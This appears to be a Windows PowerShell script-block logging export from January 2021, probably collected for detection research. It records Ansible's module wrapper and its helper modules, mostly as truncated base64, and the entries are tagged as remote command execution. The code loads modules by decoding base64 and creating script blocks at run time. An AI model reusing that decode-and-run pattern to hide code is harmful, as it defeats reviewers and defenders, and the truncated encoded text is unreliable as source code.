ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 0e51f78c-bb37-4ac4-9765-c14344471e2c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1689 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0002-a1fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gc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5Nb2R1bGVVdGlscy5Db21tYW5kVXRpbAojUmVxdWlyZXMgLU1vZHVsZSBBbnNpYmxlLk1vZHVsZVV0aWxzLkZpbGVVdGlsCgojIFRPRE86IGFkZCBjaGVjayBtb2RlIHN1cHBvcnQKClNldC1TdHJpY3RNb2RlIC1WZXJzaW9uIDIKJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIgoKIyBDbGVhbnNlIENMSVhNTCBmcm9tIHN0ZGVyciAoc2lmdCBvdXQgZXJyb3Igc3RyZWFtIGRhdGEsIGRpc2NhcmQgb3RoZXJzIGZvciBub3cpCkZ1bmN0aW9uIENsZWFuc2UtU3RkZXJyKCRyYXdf
ScriptBlock ID: 0e51f78c-bb37-4ac4-9765-c14344471e2c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1688 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0002-a1fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
To6U2VhcmNoUGF0aCgkZXhlY3V0YWJsZSkgICAgCiAgICB9CiAgICByZXR1cm4gJGV4ZWN1dGFibGVfcGF0aAp9CgpGdW5jdGlvbiBSdW4tQ29tbWFuZCB7CiAgICBQYXJhbSgKICAgICAgICBbc3RyaW5nXSRjb21tYW5kLCAjIHRoZSBmdWxsIGNvbW1hbmQgdG8gcnVuIGluY2x1ZGluZyB0aGUgZXhlY3V0YWJsZQogICAgICAgIFtzdHJpbmddJHdvcmtpbmdfZGlyZWN0b3J5ID0gJG51bGwsICM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JG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAkZW1wdHlhdHRyaWJ1dGVm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gY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0
ScriptBlock ID: 0e51f78c-bb37-4ac4-9765-c14344471e2c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1687 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0002-a1fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
Llplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgbnVtQXJncyk7CiAgICAgICAgICAgIHN0cmluZ1tdIGNtZGxpbmVQYXJ0cyA9IHN0cnB0cnMuU2VsZWN0KHMgPT4gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShzKSkuVG9BcnJheSgpOwoKICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChyZXQpOwoKICAgICAgICAgICAgcmV0dXJuIGNtZGxpbmVQYXJ0czsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNlYXJjaFBhdGgoc3RyaW5nIGxwRmlsZU5hbWUpCiAgICAgICAgewogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIH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0ZGluX2ZzID0gbmV3IEZpbGVTdHJlYW0oc3RkaW5fd3JpdGUsIEZpbGVBY2Nlc3MuV3JpdGUsIDMyNzY4KTsKICAgICAgICAgICAgU3RyZWFtV3JpdGVyIHN0ZGluID0gbmV3IFN0cmVhbVdyaXRlcihzdGRpbl9mcywgdXRmOF9lbmNvZGluZywgMzI3NjgpOwoKICAgICAgICAgICAgLy8gSWYgbHBDdXJyZW50RGlyZWN0b3J5IGlzIHNldCB0byBudWxsIGluIFBTIGl0IHdpbGwgYmUgYW4gZW1wdHkKICAgICAgICAgICAgLy8gc3RyaW5nIGhlcmUsIHdlIG5lZWQgdG8gY29udmVydCBpdAogICAgICAgICAgICBpZiAobHBDdXJyZW50RGlyZWN0b3J5ID09ICIiKQogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5ID0gbnVsbDsKCiAgICAgICAgICAgIFN0cmluZ0J1aWxkZXIgZW52aXJvbm1lbnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmkoZW52aXJvbm1lbnRTdHJpbmcuVG9TdHJpbmcoKSk7CgogICAgICAgICAgICAvLyBDcmVhdGUgbmV3IHByb2Nlc3MgYW5kIHJ1bgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIGFyZ3VtZW50X3N0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKGxwQ29tbWFuZExpbmUpOwogICAgICAgICAgICBQUk9DRVNTX0lORk9STUFUSU9OIHBpID0gbmV3IFBST0NFU1NfSU5GT1JNQVRJT04oKTsKICAgICAgICAgICAgaWYgKCFDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICAgICAgbHBBcHBsaWNhdGlvbk5hbWUsCiAgICAgICAgICAgICAgICBhcmd1bWVudF9zdHJpbmcsCiAgICAgICAgICAgICAgICBJbnRQdHIuWmVybywKICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLAogICAgICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgICAgIHN0YXJ0dXBfZmxhZ3MsCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50LAogICAgICAgICAgICAgICAgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICAgICAgc2ksCiAgICAgICAgICAgICAgICBvdXQgcGkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkZhaWxlZCB0byBjcmVhdGUgbmV3IHByb2Nlc3MiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gU2V0dXAgdGhlIG91dHB1dCBidWZmZXJzIGFuZCBnZXQgc3Rkb3V0L3N0ZGVycgogICAgICAgICAgICBGaWxlU3RyZWFtIHN0ZG91dF9mcyA9IG5ldyBGaWxlU3RyZWFtKHN0ZG91d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0ZSBzdGF0aWMgdm9pZCBHZXRQcm9jZXNzT3V0cHV0KFN0cmVhbVJlYWRlciBzdGRvdXRTdHJlYW0sIFN0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAgICAgc3Rkb3V0ID0gc287CiAgICAgICAgICAgIHN0ZGVyciA9IHNlOwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgdWludCBHZXRQcm9jZXNzRX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WFkeQogICAgaWYgKC1ub3QgW1N5c3RlbS5JTy5QYXRoXTo6SGFzRXh0ZW5zaW9uKCRleGVjdXRhYmxlKSkgewogICAgICAgICRleGVjdXRhYmxlID0gIiQoJGV4ZWN1dGFibGUpLmV4ZSIKICAgIH0KICAgICRmdWxsX3BhdGggPSBbU3lzdGVtLklPLlBhdGhdOjpHZXRGdWxsUGF0aCgkZXhlY3V0YWJsZSkKCiAgICBpZiAoJGZ1bGxfcGF0aCAtbmUgJGV4ZWN1dGFibGUgLWFuZCAkZGlyZWN0b3J5IC1uZSAkbnVsbCkgewogICAgICAgICRmaWxlID0gR2V0LUl0ZW0gLVBhdGggIiRkaXJlY3RvcnlcJGV4ZWN1dGFibGUiIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgfSBlbHNlIHsKICAgICAgICAkZmlsZSA9IEdldC1JdGVtIC1QYXRoICRleGVjdXRhYmxlIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgfQoKICAgIGlmICgkZmlsZSAtbmUgJG51bGwpIHsKICAgICAgICAkZXhlY3V0YWJsZV9wYXRoID0gJGZpbGUuRnVsbE5hbWUKICAgIH0gZWxzZSB7CiAgICAgICAgJGV4ZWN1dGFibGVfcGF0aCA9IFtBbnNpYmxlLkNvbW1hbmRVdGlsX
ScriptBlock ID: 0e51f78c-bb37-4ac4-9765-c14344471e2c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1686 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2496 | 4380 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:14 AM | dfeadd90-ee34-0002-a1fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcml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mxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKIC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8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgIC